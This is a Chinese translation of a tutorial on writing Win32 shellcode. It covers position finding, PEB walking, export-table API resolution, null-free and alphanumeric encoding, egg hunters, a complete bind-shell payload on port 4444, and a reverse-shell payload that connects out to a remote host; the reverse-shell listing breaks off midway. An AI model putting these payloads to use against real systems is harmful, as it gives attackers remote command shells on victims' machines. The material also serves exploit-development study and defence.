Win32 Shellcoding 的艺术
如何在 win32 上编写可靠的 shellcode,如何绕过编写 win32 shellcode 时会遇到的障碍,以及如何将你的 shellcode 整合到 Metasploit 中。
目录
1. 引言
任何好的漏洞利用的秘密在于可靠的 shellcode。Shellcode 是你的漏洞利用中最重要的元素。使用自动化工具生成 shellcode 不会帮助你太多地绕过你在每次漏洞利用中都会遇到的障碍。你应该知道如何创建自己的 shellcode,这正是本文将教授你的内容。
在本文中,我将教你如何在 win32 上编写可靠的 shellcode,如何绕过编写 win32 shellcode 时会遇到的障碍,以及如何将你的 shellcode 整合到 Metasploit 中。
2. 第一部分:基础知识
2.1 什么是 Shellcode?
Shellcode 简单来说就是可移植的本地代码。这段代码能够运行在内存中的任何位置。这段代码被用于漏洞利用内部,以连接回攻击者或执行攻击者需要执行的操作。
2.2 Shellcode 的类型
Shellcode 根据你在为特定漏洞编写 shellcode 时面临的限制进行分类,它分为 3 种类型。
无字节 Shellcode
在这种类型的 shellcode 中,你被迫编写不包含任何 null
字节的 shellcode。当你在函数内部利用 string
操作代码中的漏洞时,你将被迫这样做。当这个函数不正确地使用 strcpy()
或 sprintf()
... 在 string
中搜索 null
字节(因为 string
是以 null
结尾的),而没有检查此字符串的最大可接受大小 ... 这将使此应用程序容易受到缓冲区溢出漏洞的影响。
在此类漏洞中,如果你的 shellcode 包含 NULL
字节,该字节将被解释为 string
终止符,导致程序接受 NULL
字节之前的 shellcode 并丢弃其余部分。因此,你必须避免在 shellcode 内部出现任何 null
字节。但你将能够使用一个 null
字节……最后一个字节。
字母数字 Shellcode
在 string
中,不常见包含奇怪字符或拉丁字符……在这种情况下,一些 IDS(入侵检测系统)会检测到这些 string
是恶意的,特别是当它们包含可疑的操作码序列时……它们可能会检测到 shellcode 的存在。不仅如此,一些应用程序还会过滤输入 string
,只接受普通字符和数字(“a-z”、“A-Z”和“0-9”)。在这种情况下,你需要用字符编写你的 shellcode……你被迫只使用这些字符,并且只接受 0x30 到 0x39、0x40 到 0x5A 以及 0x60 到 0x7A 范围内的字节。
蛋狩猎 Shellcode
在某些漏洞中,你可能只有一个非常小的缓冲区来放置你的 shellcode。就像差一漏洞(off-by-one vulnerability)一样,你被限制在一个特定的大小,并且不能发送比这更大的 shellcode。
所以,你可以使用两个缓冲区来放置你的 shellcode,一个用于你的实际 shellcode,另一个用于攻击和搜索第一个缓冲区。
3. 第二部分:编写 Shellcode
3.1 Shellcode 骨架

任何 shellcode 都由四部分组成:获取增量、获取 kernel32
镜像基址、获取你的 API 以及有效载荷。
这里我们将讨论获取增量、kernel32
镜像基址和获取 API,在本文的下一部分,我们将讨论有效载荷。
3.2 工具
- Masm: 它是 Microsoft 宏汇编器。它是一款优秀的 Windows 汇编器,功能非常强大。
- Easy Code Masm: 它是 MASM 的一个 IDE。它具有出色的可视化功能和汇编语言中最好的代码补全功能。
- OllyDbg: 它是你的调试器,你也可以将其用作汇编器。
- Data Ripper: 它是 OllyDbg 的一个插件,可以将你选择的任何指令转换为适合 C 语言的
char
数组。当你需要将 shellcode 放入漏洞利用程序时,它会很有帮助。
3.3 获取增量
在你的 shellcode 中,你应该做的第一件事是知道你在内存中的位置(增量)。这很重要,因为你需要获取 shellcode 中的变量。如果没有变量在内存中的绝对地址,你无法获取 shellcode 中的变量。
要获取增量(你在内存中的位置),你可以使用 call-pop 序列来获取 Eip。执行 call 时,处理器会将返回 Eip 保存到堆栈中,然后 pop 寄存器会将 Eip 从堆栈中取出到寄存器中。然后你将在 shellcode 中拥有一个指针。
GETDELTA:
call NEXT
NEXT:
pop ebx
3.4 获取 Kernel32 镜像基址
为了让你恢复记忆,API 是像 send()
、recv()
和 connect()
这样的函数。每组函数都写在一个库中。这些库被写入扩展名为(.dll)的文件中。每个库都专门用于一种类型的函数,例如:winsock.dll 用于网络 API,如 send()
或 recv()
。而 user32.dll 用于 Windows API,如 MessageBoxA()
和 CreateWindow()
。
而 kernel32.dll 用于核心 Windows API。它包含像 LoadLibrary()
这样的 API,用于加载任何其他库。还有 GetProcAddress()
,用于获取内存中已加载库中任何 API 的地址。
因此,要访问任何 API,你必须获取 kernel32.dll 在内存中的地址,并能够获取其中的任何 API。
当任何应用程序加载到内存中时,Windows 会同时加载核心库,如 kernel32.dll 和 ntdll.dll,并将这些库的地址保存在内存中一个名为进程环境块 (PEB) 的位置。因此,我们将从 PEB 中检索 kernel32.dll 的地址,如下面所示。
mov eax,dword ptr fs:[30h]
mov eax,dword ptr [eax+0Ch]
mov ebx,dword ptr [eax+1Ch]
mov ebx,dword ptr [ebx]
mov esi,dword ptr [ebx+8h]
第一行从 FS 段寄存器获取 PEB 地址。然后,第二行和第三行获取 PEB->LoaderData
->InInitializationOrderModuleList
。
InInitializationOrderModuleList
是一个双向链表,包含内存中所有已加载的模块(PE 文件,如 kernel32.dll、ntdll.dll 和应用程序本身),以及它们的镜像基址、入口点和文件名。
在 InInitializationOrderModuleList
中你会看到的第一项是 ntdll.dll。要获取 kernel32.dll,你必须转到列表中的下一项。因此,在第四行,我们通过 ListEntry
->FLink
获取下一项。最后,在第五行,我们从有关 DLL 的可用信息中获取镜像基址。
3.5 获取 API
要获取 API,你应该遍历 kernel32.dll 的 PE 结构。我不会详细讨论 PE 结构,但我只会讨论数据目录中的 Export
表。
Export
表由 3 个数组组成。第一个数组是 AddressOfNames
,它包含 DLL 文件中所有函数的名称。第二个数组是 AddressOfFunctions
,它包含所有函数的地址。

但是,这两个数组的问题是它们以不同的对齐方式对齐。例如,GetProcAddress
在 AddressOfNames
中是第 3 个,但在 AddressOfFunctions
中是第 5 个。
为了解决这个问题,Windows 创建了第三个数组,名为 AddressOfNameOrdinals
。该数组与 AddressOfNames
的对齐方式相同,并包含 AddressOfFunctions
中每个项的索引。
因此,要找到你的 API,你应该在 AddressOfNames
中搜索你的 API 名称,然后获取其索引,再转到 AddressOfNameOrdinals
找到你的 API 在 AddressOfFunctions
中的索引,最后,转到 AddressOfFunctions
获取你的 API 的地址。别忘了这些数组中的所有地址都是 RVA。这意味着它们的地址是相对于 PE 文件开头的地址。因此,你应该将 kernel32
镜像基址添加到你处理的每个地址中。
在接下来的代码清单中,我们将通过计算 kernel32
中每个 API 字符的校验和,并将其与所需 API 的校验和进行比较来获取 API 的地址。
;Inputs:
;-------
;Esi --> Kernelbase
;Ebx -->The Array Of API Addresses that we will save in
GetAPIs Proc
Local AddressFunctions:DWord
Local AddressOfNameOrdinals:DWord
Local AddressNames:DWord
Local NumberOfNames:DWord
Getting_PE_Header:
Mov Edi, Esi ;Kernel32 imagebase
Mov Eax, [Esi].IMAGE_DOS_HEADER.e_lfanew
Add Esi, Eax ;Esi-->PE Header Edi-->MZ Header
Getting_Export_Table:
Mov Eax, [Esi].IMAGE_NT_HEADERS.OptionalHeader.DataDirectory[0].VirtualAddress
Add Eax, Edi
Mov Esi, Eax
Getting_Arrays:
Mov Eax, [Esi].IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
Add Eax, Edi
Mov AddressFunctions, Eax ;the first array
Mov Eax, [Esi].IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
Add Eax, Edi
Mov AddressOfNameOrdinals, Eax ;the second array
Mov Eax, [Esi].IMAGE_EXPORT_DIRECTORY.AddressOfNames
Add Eax, Edi
Mov AddressNames, Eax ;the third array
Mov Eax, [Esi].IMAGE_EXPORT_DIRECTORY.NumberOfNames
Mov NumberOfNames, Eax ;the number of APIs
Push Esi
Mov Esi, AddressNames
Xor Ecx, Ecx
GetTheAPIs:
Lodsd
Push Esi
Lea Esi, [Eax + Edi] ;RVA + imagebase = VA
Xor Edx,Edx
Xor Eax,Eax
Checksum_Calc:
Lodsb
Test Eax, Eax ;Avoid the null byte in Cmp Eax,0
Jz CheckFunction
Add Edx,Eax
Xor Edx,Eax
Inc Edx
Jmp Checksum_Calc
CheckFunction:
Pop Esi
Xor Eax, Eax ;The index of this API
Cmp Edx, 0AAAAAAAAH ;FirstAPI
Jz FoundAddress
Cmp Edx, 0BBBBBBBBh ;SecondAPI
Inc Eax
Jz FoundAddress
Cmp Edx, 0CCCCCCCCh ;ThirdAPI
Inc Eax
Jz FoundAddress
Xor Eax, Eax
Inc Ecx
Cmp Ecx,NumberOfNames
Jz EndFunc
Jmp GetTheAPIs
FoundAddress:
Mov Edx, Esi ;save it temporary in edx
Pop Esi ;Esi --> PE Header
Push Eax ;save the index of the API
Mov Eax, AddressOfNameOrdinals
Movzx Ecx, Word Ptr [Eax + Ecx * 2]
Mov Eax, AddressFunctions
Mov Eax, DWord Ptr [Eax + Ecx * 4]
Add Eax, Edi
Pop Ecx ;Get The Index of the API
Mov [Ebx + Ecx * 4], Eax
Push Esi
Mov Esi, Edx
Jmp GetTheAPIs
EndFunc:
Mov Esi, Edi
Ret
GetAPIs EndP
在这段代码中,我们获取 PE 头,然后从数据目录中获取 Export
表。之后,我们获取这三个数组以及这些数组中的条目数。
在获取了所有所需信息后,我们开始循环遍历 AddressOfNames
数组的条目。我们使用 “Lodsd
” 加载每个条目,它从 “Esi
” 处的内存加载 4 个字节。然后,我们计算 API 的校验和,并将其与我们所需 API 的校验和进行比较。
在获取到 API 后,我们使用剩余的两个数组获取其地址。最后,我们将其保存在一个数组中,以便在需要时调用它们。
3.6 无空字节 Shellcode
编写干净的 shellcode(或无空字节 shellcode)并不难,即使你知道哪些指令会产生 null
字节以及如何避免它们。最常见的产生 null
字节的指令是 “mov eax,XX
”、“cmp eax,0
” 或 “call Next
”,如你在获取 delta 时所看到的。
在表格中,你将看到这些常用指令及其等效字节以及如何避免它们。
空字节指令 | 二进制形式 | 无空指令 | 二进制形式 |
mov eax,5 | B8 00000005 | mov al,5 | B0 05 |
call next | E8 00000000 | jmp next/call prev | EB 05/ E8 F9FFFFFF |
cmp eax,0 | 83F8 00 | test eax,eax | 85C0 |
mov eax,0 | B8 00000000 | xor eax,eax | 33C0 |
要理解此表,mov
和 call
指令接受 32 位大小的立即数(或偏移量)。这些 32 位在大多数情况下会包含 null
字节。为了避免这种情况,我们使用另一个只接受一个字节(8 位)的指令,例如 jmp
或 mov al,XX
(因为 al
是 8 位大小)。
在 “call
” 指令中,其后的 4 个字节是 call 指令+5 到你将到达的位置之间的偏移量。你可以使用 “call” 到一个先前的位置,这样偏移量将是负数,并且偏移量将是类似 “0xFFFFFFXX
” 的值。因此,其中不包含 null
字节。
在关于如何获取增量的代码清单中,我们没有避免 null
字节。因此,为了避免它,我们将使用表 3.5.1 中的技巧,并使用 jmp
/call
代替 call next,如下面的代码清单所示
GETDELTA:
jmp NEXT
PREV:
pop ebx
jmp END_GETDELTA
NEXT:
call PREV
END_GETDELTA:
这段 shellcode 的二进制形式变为:“0xEB, 0x03, 0x5B, 0xEB, 0x05, 0xE8, 0xF8, 0xFF,0xFF, 0xFF
”,而不是 “0xE8,0x00, 0x00, 0x00, 0x00, 0x5B
”。如你所见,其中没有 null
字节。
3.7 字母数字 Shellcode
字母数字 shellcode 可能是最难编写和生成的。编写能够获取 delta 或获取 API 的字母数字 shellcode 几乎是不可能的。
因此,在这种类型的 shellcode 中,我们使用编码器。编码器仅仅是一个 shellcode,用于解密(或解码)另一个 shellcode 并执行它。在这种类型的 shellcode 中,你无法获取 delta(因为 call XX 在字节中是 “E8 XXXXXXXX”),并且你可用的字节中没有 “0xE8”,也没有 “0xFF”。
不仅如此,你也没有 “mov
”、“add
”、“sub
” 或任何数学指令,除了 “xor
” 和 “imul
”,你还有 “push
”、“pop
”、“pushad
” 和 “popad
” 指令。
此外,对于指令的目标和源类型也存在限制,例如 “xor eax,ecx
” 不允许,而 “xor dword ptr [eax],ecx
” 也不允许。
要正确理解这一点,你应该更多地了解你的汇编器(masm 或 nasm)如何汇编你的指令。
我不会深入细节,但你可以查看《Intel® 64 和 IA-32 架构 2A》以获取更多关于此主题的信息。但简而言之,这就是你的指令在二进制形式下的样子

ModRM 是指令目标和源的描述符。汇编器从一个表中创建 ModRM,目标和源的每种形状在二进制形式中都有不同的形状。
在字母数字 shellcode 中,ModRM 值强制你只能选择特定形状的指令,如表中所示
允许的形状 |
xor dword ptr [exx + disp8],exx |
xor exx,dword ptr [exx + disp8] |
xor dword ptr [exx],esi/edi |
xor dword ptr [disp32],esi/edi |
xor dword ptr FS:[...],exx (FS allowed) |
xor dword ptr [exx+esi],esi/edi (exx except edi) |
ModRM 有一个名为 SIB 的扩展。SIB 也是一个字节,像 ModRM 一样,它提供了目标中的第三项或没有位移的第二项,例如 “[eax+esi*4+XXXX]
” 或像前表中最后一项 “[exx+esi]
”。SIB 是一个字节,应该在 “30-39, 41-5A, 61-7A
” 的限制之间。
在 shellcode 中,我认为你不会使用除了前表中以外的任何东西,你可以在“Intel® 64 和 IA-32 架构 2A”中阅读更多关于它们的内容。
因此,要编写你的编码器/解码器,你将只有 “imul
” 和 “xor
” 作为算术操作。而且你只有堆栈来保存你解码的数据。你可以使用两个 4 字节的数字(整数)来编码它们,这些数字是可接受的(在限制内)。而且这些数字,当你将它们相乘时,你应该得到你需要的数字(来自你的原始 shellcode 的 4 字节),就像这样
push 35356746
push esp
pop ecx
imul edi,dword ptr [ecx],45653456
pop edx
push edi
这段代码将 0x35356746 乘以 0x45653456,生成 0x558884E9,它将被解码为 “test cl,ch
” 和 “mov byte ptr [ebp],dl
”。这只是一个关于如何创建编码器和解码器的例子。
找到两个相乘后能得到你需要的 4 字节的数字是很困难的。或者你可能会陷入一个非常大的循环来寻找这些数字。所以你可以像这样使用 2 字节的数字
push 3030786F
pop eax
push ax
push esp
pop ecx
imul di,word ptr [ecx],3445
push di
此代码将 0x786F(你可以忽略 0x3030)乘以 0x3445,生成 0x01EB,它等同于 “Jmp next
”。为了生成这两个数字,我创建了一个 C 代码,它生成这些数字,如你在此代码中看到的。
int YourNumber = 0x000001EB;
for (short i=0x3030;i<0x7A7A;i++){
for (short l=0x3030;l<0x7A7A;l++){
char* n = (char*)&i;
char* m = (char*)&l;
if (((i * l)& 0xFFFF)==YourNumber){
for(int s=0;s<2;s++){
if (!(((n[s] > 0x30 && n[s] < 0x39) || \
(n[s] > 0x41 && n[s] < 0x5A) || \
(n[s] > 0x61 && n[s] < 0x7A)) && \
((m[s] > 0x30 && m[s] < 0x39) || \
(m[s] > 0x41 && m[s] < 0x5A) || \
(m[s] > 0x61 && m[s] < 0x7A))))
goto Not_Yet;
}
cout << (int*)i << " " << (int*)l << " " << (int*)((l*i) & 0xFFFF)<< "\n";
}
Not_Yet:
continue;
}
};
在所有这些编码器中,你都会看到 shellcode 是使用 “push
” 指令在堆栈中解码的。因此,请注意堆栈方向,因为 esp
会随着 push
减少。所以,如果你不注意这一点,数据将会排列错误。
还要注意你的处理器(Intel)使用小端序表示数字。因此,如果你的指令是 “Jmp +1
”,并且该指令的字节形式是 “EB 01
”,那么你需要生成数字 0x01EB 并推送它……而不是 0xEB01。
完成所有这些后,你应该将执行权限传递给堆栈,以开始执行你的原始 shellcode。要做到这一点,你应该找到一种方法将 Eip
设置为 Esp
。
由于你没有“call
”或“jmp exx
”,你除了SEH之外没有其他方法来传递执行。SEH是结构化异常处理,由Windows创建用于处理异常。它是一个单向链表,最后一个条目保存在FS:[0]中,或者你可以说……在线程环境块(TIB)的开头,因为FS指向TIB,后面跟着TEB(线程环境块),TEB在F:[30]处有指向PEB(进程环境块)的指针,我们用它来获取kernel32地址。
别担心所有这些,你只需知道它保存在 FS[0] 中。它是一个单链表,结构如下:
struct SEH_RECORD
{
SEH_RECORD *sehRecord;
DWORD SEHandler;
};
sehRecord
指向列表中的下一个条目,SEHandler
指向一个处理错误的函数。
当发生错误时,Windows 将执行传递给 SEHandler
处的代码以处理错误并再次返回。因此,我们可以将 esp
保存在 SEHandler
处并引发一个错误(例如,从无效指针读取)以使 Windows 将执行传递给我们的 shellcode。这样,我们就能轻松运行我们解码后的 shellcode。
FS:[0] 中保存着指向链表中最后一个条目(最后创建并第一个使用)的指针。因此,我们将创建一个新条目,其中 esp
作为 SEHandler
,我们从 FS:[0] 获取的指针作为 sehRecord
,并将指向该条目的指针保存到 FS:[0]。这就是字母数字形式的代码。
push 396A6A71
pop eax
xor eax,396A6A71
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
popad
xor edi,dword ptr fs:[eax]
push esp
push edi
push esp
xor esi,dword ptr [esp+esi]
pop ecx
xor dword ptr fs:[eax],edi
xor dword ptr fs:[eax],esi
前几行将 eax 设置为零(一个数字与自身进行异或运算会返回零),然后我们使用 8 个 pushes
和 popad
将寄存器设置为零(popad
不会修改 esp
)。之后,我们通过使用 xor
(数字 xor
0 = 相同的数字)获取 FS:[0] 的值。
然后我们开始创建 SEH 条目,通过 push esp
(因为它现在指向我们的代码)和 push edi
(下一个 sehRecord
)。
在“xor esi,dword ptr [eax+esi]
”中,我们试图使 esi == esp
(因为 pop esi
等于 0x5E “^”,并且它超出了限制)。然后我们通过将 FS:[0] 与自身的值进行异或运算将其设置为零。最后,我们将其设置为 esp
。
这段代码非常小,大约 37 字节。如果你在二进制视图(ASCII 视图)中查看这段代码,你会看到它等于 “hqjj9X5qjj9PWPPSRPPad38TWT344Yd18d10
”……除了普通字符外什么都没有。
现在,我想(也希望)你能够轻松地在 Windows 中编写一个功能齐全的字母数字 shellcode。现在我们将跳到蛋狩猎 shellcode。
3.8 蛋狩猎 Shellcode
蛋狩猎 shellcode(如我们在第一部分中描述的)是一个蛋搜索器或 shellcode 搜索器。为了搜索 shellcode,这个 shellcode 应该有一个标记(4 字节数字),你将搜索它,例如 0xBBBBBBBB 或你选择的任何东西。
第二件事,你应该知道你的更大 shellcode 会在哪里,是在堆栈还是堆中?或者你可以问:它是一个局部变量,如 “char buff[200]
” 还是动态分配的,如 “char* buff = malloc(200)
”?
如果它在堆栈中,你可以很容易地搜索 shellcode。在我们之前描述的 TIB(线程信息块)中,第二和第三项(FS:[4] 和 FS:[8])是堆栈的开始和结束。因此,你可以在这些指针之间搜索你的标记。让我们检查一下代码。
mov ecx,dword ptr fs:[eax] ; the end of the stack
add eax,4
mov edi,dword ptr fs:[eax] ; the beginning of the stack
sub ecx,edi ; Getting the size
mov eax,BBBBBBBC ; not BB to not find itself by wrong
dec eax ; became == 0xBBBBBBBB
NOT_YET:
repne scasb
cmp dword ptr [edi-1],eax
jnz NOT_YET
add edi,3
call edi
如你所见,它非常简单,不到 30 字节。它只搜索标记中的 1 个字节,如果找到,它将整个双字与 0xBBBBBBBB 进行比较,最后……它调用新的 shellcode。
在堆栈中,这很简单。但在堆中,就有点复杂了。
要理解我们如何在堆中搜索,你首先需要了解堆是什么。以及堆的结构。我将简要描述它,以便理解该主题。你可以在互联网上阅读更多关于该主题的信息。
当你使用虚拟内存管理器(主 Windows 内存管理器)分配一块内存(例如 20 字节)时。它将为你分配一个内存页(1024 字节),因为这是虚拟内存管理器中的最小大小,即使你只需要 20 字节。因此,正是因为这个原因,堆才被创建。堆的创建主要是为了避免这种内存浪费,并为你分配更小的内存块供你使用。
为此,堆管理器使用虚拟内存管理器(VirtualAlloc
API 或类似函数)分配一大块内存,然后在其中分配小块。如果这块大内存耗尽……包括内存中已提交的页面和保留的页面,堆管理器会再分配另一大块内存。这些块被称为段。请记住它,因为我们将使用它们来获取进程堆的大小。
让我们实际操作一下,当一个应用程序调用 malloc
或 HeapAlloc
时。堆管理器在一个进程堆(可能有多个)的堆内存中的一个段中分配一块内存(大小为应用程序所需)。要获取这些堆,你可以从进程环境块(PEB)+0x90 内部获取它们,如你在 PEB 的这段代码片段中看到的,其中包含我们需要的信息。
+0x088 NumberOfHeaps
+0x08c MaximumNumberOfHeaps
+0x090 *ProcessHeaps
如你所见,你可以从 FS:[30] 获取 PEB,然后从 (PEB+0x90) 获取一个包含进程堆的数组,以及从 PEB+88 获取此数组中的条目数(堆的数量),然后你可以遍历它们以在其中搜索你的标记。
但你会问我……我从哪里可以获取内存中这些堆的大小?获取大小的最佳方法是获取段中的最后一个条目(已分配内存)(或最后一个条目之后)。
要获取这些信息,你可以从每个堆(在数组中……ProcessHeaps
)获取段。段是一个包含 64 个条目的数组,数组中的第一项位于 (HeapAddress +58
) 处,你通常只会在堆中看到一个段。
因此,你将转到 HeapAddress+58
以获取堆中的第一个(也是唯一一个)段。然后,从 Segment
内部,你将在 Segment+38
处获取 LastEntryInSegment
。然后,你将它从 Heap
的开头减去,以获取堆中已分配内存的大小,以便搜索标记。让我们看看代码。
xor eax,eax
mov edx,dword ptr fs:[eax+30] ;Get The PEB
add eax,7F
add eax,11 ;set eax == 90 (avoiding null bytes)
mov esi,dword ptr [eax+edx] ;edx + 90 --> *ProcessHeaps
mov ecx,dword ptr [eax+edx-4] ;edx + 88 --> NumberOfHeaps
GET_HEAP:
lods dword ptr [esi] ;Get Heap Entry
push ecx ;Save NumberOfHeaps
mov edi,eax
mov eax,dword ptr [eax+58] ;Get 1st entry in Segments[64] array
mov ecx,dword ptr [eax+38] ;Get LastEntryInSegment
sub ecx,edi ;Get SizeOfHeap
mov eax,BBBBBBBC
dec eax
NO_YET:
repne scas byte ptr es:[edi] ;searching for the 0xBB
test ecx,ecx ;Didn’t find?
je NEXT_HEAP ;go to the next heap
cmp dword ptr [edi-1],eax ;get 0xBB .. check on 0xBBBBBBBB
jnz NO_YET
call dword ptr [edi+3] ;we got it … let’s call to it
NEXT_HEAP:
pop ecx ;not yet, let’s go the next heap
dec ecx
test ecx,ecx ;is it the last heap?
jnz GET_HEAP
代码已完整注释。如果你编译它,你会发现它小于 60 字节。不算太大,并且是无空字节的。我建议你编译并调试它,以更深入地理解这个主题。你应该阅读更多关于堆和分配机制的知识。
4. 第二部分:有效载荷
在这一部分,我们将讨论有效载荷。有效载荷是攻击者打算做的,或者说是整个 shellcode 编写的目的。
我们将描述的所有有效载荷都基于互联网通信。如你所知,任何攻击者的主要目标是控制机器并发送命令或从受害者那里接收敏感信息。
任何操作系统中的通信都基于套接字。套接字是通信的端点,就像你的电话或手机一样,它是操作系统内部任何通信的句柄。
套接字可以是客户端并连接到机器,也可以是服务器。我不会深入探讨这一点,因为我假设你了解客户端/服务器通信以及 IP(互联网地址)和端口(标记连接到互联网或监听连接的应用程序的数字)。
现在让我们谈谈编程。
4.1 套接字编程
要开始使用套接字,你首先应该调用 WSAStartup()
来指定你需要使用的最低版本,并获取此 Windows 版本中套接字接口的更多详细信息。此 API 如下所示:
int WSAStartup ( WORD wVersionRequired, LPWSADATA lpWSAData );
调用它非常简单……就像这样:
WSADATA wsaData;
WSAStartup( 0x190, &wsaData );
之后,你需要创建自己的套接字……我们将使用 WSASocketA
API 来创建我们的套接字。我还忘了说,所有这些 API 都来自 WS2_32.dll 库。此 API 的实现如下:
SOCKET WSASocketA ( int af, int type, int protocol, int unimportant );
第一个参数是 AF,它接受 AF_INET
,没有其他。第二个参数定义传输层类型(TCP 或 UDP)……由于我们使用 TCP,所以我们将使用 SOCK_STREAM
。
其他参数不重要,你可以将它们设置为 0。
现在我们有了电话(Socket
),我们将用它进行连接。我们现在应该指定我们是想连接到服务器以等待(监听)来自客户端的连接。
要连接到客户端,我们应该拥有服务器的 IP 和端口。连接 API 是:
int connect (SOCKET s,const struct sockaddr* name,int namelen);
“name
”参数是一个结构体,它接受 IP、端口和协议(TCP 或 UDP)。而“namelen
”是结构体的大小。要监听一个端口,你应该调用两个 API(bind 和 listen)……这些 API 类似于 connect API,如你所见。
int bind(int sockfd, struct sockaddr *my_addr, int addrlen);
int listen(int sockfd, int backlog);
bind 和 connect 之间的区别是:
- 在 bind 中,你通常将 IP 设置为
INADDR_ANY
,这意味着你接受来自任何 IP 的任何连接。 - 绑定中的端口是你需要监听并等待连接的端口。
监听 API 开始在该端口上监听,给定套接字号(第二个参数目前不重要)。
要获取并接受任何连接……你应该调用 accept API……它的形式是:
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
此 API 接受套接字号并返回 3 个参数:
- 连接器的套接字号……你将使用它进行任何发送和接收……只有在关闭时你才可以使用你的套接字号来停止任何传入连接。
Addr
:它返回连接器的 IP 和端口。Addrlen
:它返回结构体 sockaddr 的大小。
现在你已建立连接……你可以使用 send 或 recv 进行通信。但对于我们的 shell……我们将使用 CreateProcessA
打开 cmd.exe 或 “CMD
”,并将标准输入、输出和错误直接通过我们建立的连接抛给攻击者。我现在将在有效载荷上向你展示所有内容。
4.2 绑定 Shell 有效载荷
我假设你已经获取了所需的 API,并开始编写有效载荷。我将以汇编语言列出有效载荷代码。最后,我将它们整合在一起,为你提供一个完整的 shellcode。
Lea Eax, WSAStartupData
Push Eax
Push 190H
Call WSAStartup ;call to WSAStartup to start the connections
Xor Eax, Eax
Push Eax ;Flags = 0
Push Eax ;Group = 0
Push Eax ;pWSAprotocol = NULL
Push Eax ;Protocol = IPPROTO_IP
Push SOCK_STREAM
Push AF_INET
Call WSASocketA ;Create our socket (your phone who will connect or
listen to/from the client
Mov Edi, Eax ;save it in Edi
Xor Esi, Esi
Mov Ebx, DataOffset
Mov Cx, Word Ptr [Ebx]
Mov sAddr.sin_port, Cx ;Port Number
Mov sAddr.sin_family, AF_INET
Mov sAddr.sin_addr, Esi ;INADDR_ANY
Lea Eax, sAddr
Push 10H
Push Eax
Push Edi
Call bind
Push 0
Push Edi
Call listen
Push Esi
Push Esi
Push Edi
Call accept
Mov Edi, Eax
Push Edi
Xor Ecx, Ecx
Mov Cl, SizeOf Startup
Lea Edi, Startup
Xor Eax, Eax
Rep Stosb
Mov Cl, SizeOf ProcInfo
Lea Edi, ProcInfo
Xor Eax, Eax
Rep Stosb
Pop Edi
Mov Startup.hStdInput, Edi
Mov Startup.hStdOutput, Edi
Mov Startup.hStdError, Edi
Mov Byte Ptr [Startup.cb], SizeOf Startup
Mov Word Ptr [Startup.dwFlags], STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
Xor Eax, Eax
Push Ax
Mov Al, 'D'
Push Eax
Mov Ax, 'MC'
Push Ax
Mov Eax, Esp
Lea Ecx, ProcInfo
Lea Edx, Startup
Push Ecx
Push Edx
Push Esi
Push Esi
Push Esi
Push 1
Push Esi
Push Esi
Push Eax
Push Esi
Call CreateProcessA
Push INFINITE
Push ProcInfo.hProcess
Call WaitForSingleObject
Ret
MainShellcode EndP
DATA:
Port DW 5C11H ;5C11H == 4444 (port 4444)
如你在这段代码中看到的,我们首先调用 WSAStartup
,然后创建我们的套接字,并调用 bind 和 listen 来准备我们的服务器。
在调用 bind 之前,我们通过获取 delta 加上最后 2 字节的偏移量,从 shellcode 的最后 2 字节获取端口号,并将其保存在 DataOffset
中。之后,我们读取端口号并监听此端口。
你不会在清单 4.2.1 中看到我们获取 delta 和数据偏移量的步骤,因为我们已在获取 delta 部分描述过。我将把所有这些部分再次整合到一个完整的 shellcode 中。
之后,我们为 CreateProcessA
做准备……API 形状是这样的
BOOL CreateProcess(
LPCTSTR lpApplicationName, // pointer to name of executable module
LPTSTR lpCommandLine, // pointer to command line string
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles, // handle inheritance flag
DWORD dwCreationFlags, // creation flags
LPVOID lpEnvironment, // pointer to new environment block
LPCTSTR lpCurrentDirectory, // pointer to current directory name
LPSTARTUPINFO lpStartupInfo, // pointer to STARTUPINFO
LPPROCESS_INFORMATION lpProcessInformation // pointer to PROCESS_INFORMATION
);
这些参数中,除了 3 个参数外,大多数对我们来说不重要。
lpCommandline
:我们将此参数设置为 “CMD
” 来引用命令 shell。lpStartupInfo
:在此参数中,我们将设置进程将其输出抛出并从套接字获取输入。lpProcessInformation
:createProcess
在此处输出ProcessID
、ThreadID
和相关信息。这些数据对我们不重要,但我们应该分配一个大小等于PROCESS_INFORMATION
结构体大小的空间。
如你所见,我们为 lpStartupInfo
分配了一个局部变量,并将其中所有变量设置为零。之后,我们将标准输入、输出和错误设置为从 accept API 返回的套接字号(攻击者套接字号),以将输出和输入重定向到攻击者。
最后,我们创建我们的 Process
,然后调用 WaitForSingleObject
来等待我们的 Process
完成。如果你没有调用 WaitForSingleObject
,什么都不会发生,但你可以在(进程完成之后)关闭通信并关闭套接字。
4.3 反向 Shell 有效载荷
反向 Shell 与绑定 Shell 非常相似,如下面代码所示:
Lea Eax, WSAStartupData
Push Eax
Push 190H
Call WSAStartup ;call to WSAStartup to start the connections
Xor Eax, Eax
Push Eax ;Flags = 0
Push Eax ;Group = 0
Push Eax ;pWSAprotocol = NULL
Push Eax ;Protocol = IPPROTO_IP
Push SOCK_STREAM
Push AF_INET
Call WSASocketA ;Create our socket (your phone who will
connect or listen to/from the client
Mov Edi, Eax ;save it in Edi
Xor Esi, Esi
Mov Ebx, DataOffset
Mov Cx, Word Ptr [Ebx]
Mov sAddr.sin_port, Cx ;Port Number
Mov sAddr.sin_family, AF_INET
Inc Ebx
Inc Ebx
Push Ebx
Call gethostbyname
Mov Ebx, [Eax + 1CH] ;IP
Mov sAddr.sin_addr, Ebx
Lea Eax, sAddr
Push SizeOf sAddr
Push Eax
Push Edi
Call connect
Push Edi
Xor Ecx, Ecx
Mov Cl, SizeOf Startup
Lea Edi, Startup
Xor Eax, Eax
Rep Stosb
Mov Cl, SizeOf ProcInfo
Lea Edi, ProcInfo
Xor Eax, Eax
Rep Stosb
Pop Edi
Mov Startup.hStdInput, Edi
Mov Startup.hStdOutput, Edi
Mov Startup.hStdError, Edi
Mov Byte Ptr [Startup.cb], SizeOf Startup
Mov Word Ptr [Startup.dwFlags], STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
Xor Eax, Eax
Push Ax
Mov Al, 'D'
Push Eax
Mov Ax, 'MC'
Push Ax
Mov Eax, Esp
Lea Ecx, ProcInfo
Lea Edx, Startup
Push Ecx
Push Edx
Push Esi
